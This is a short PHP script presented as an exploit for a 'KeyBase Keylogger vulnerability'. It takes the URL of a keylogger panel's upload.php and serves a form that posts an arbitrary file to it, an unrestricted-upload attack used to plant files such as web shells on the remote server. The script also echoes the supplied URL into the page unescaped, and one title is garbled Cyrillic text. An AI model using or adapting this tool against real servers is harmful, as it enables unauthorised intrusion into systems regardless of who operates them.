KeyBase Keylogger vulnerability

<?php
if (!isset($_GET['url'])){
	echo "
	<!DOCTYPE html>
	<html>
	 <head>
	  <title>Virus-Tracker</title>
	 </head>
	 <body>
	  <center><h1>Keybase sploit</h1><br></center>
	  <center><h2>Step 1: Enter keybase domain url: </h2><br></center>
	  <form action=\"keybase.php\" method=\"GET\">
	  <input name=\"url\" type=\"text\" id=\"url\" value=\"http://botnet.com/keybase/image/upload.php\" size=\"200\"/>
	   <input type=\"submit\" value=\"Next\"></p>
	  </form>
	 </body>
	</html>
	";
} else {
$url = $_GET['url'];
	echo "
	<!DOCTYPE html>
	<html>
	 <head>
	  <title>РћС‚РїСЂР°РІРєР° С„Р°Р№Р»Р° РЅР° СЃРµСЂРІРµСЂ</title>
	 </head>
	 <body>
	  <form action=\"$url\" method=\"post\" enctype=\"multipart/form-data\">
	   <p><input type=\"file\" name=\"file\">
	   <input type=\"submit\" value=\"Exploit!\"></p>
	  </form>
	 </body>
	</html>
	";
}
?>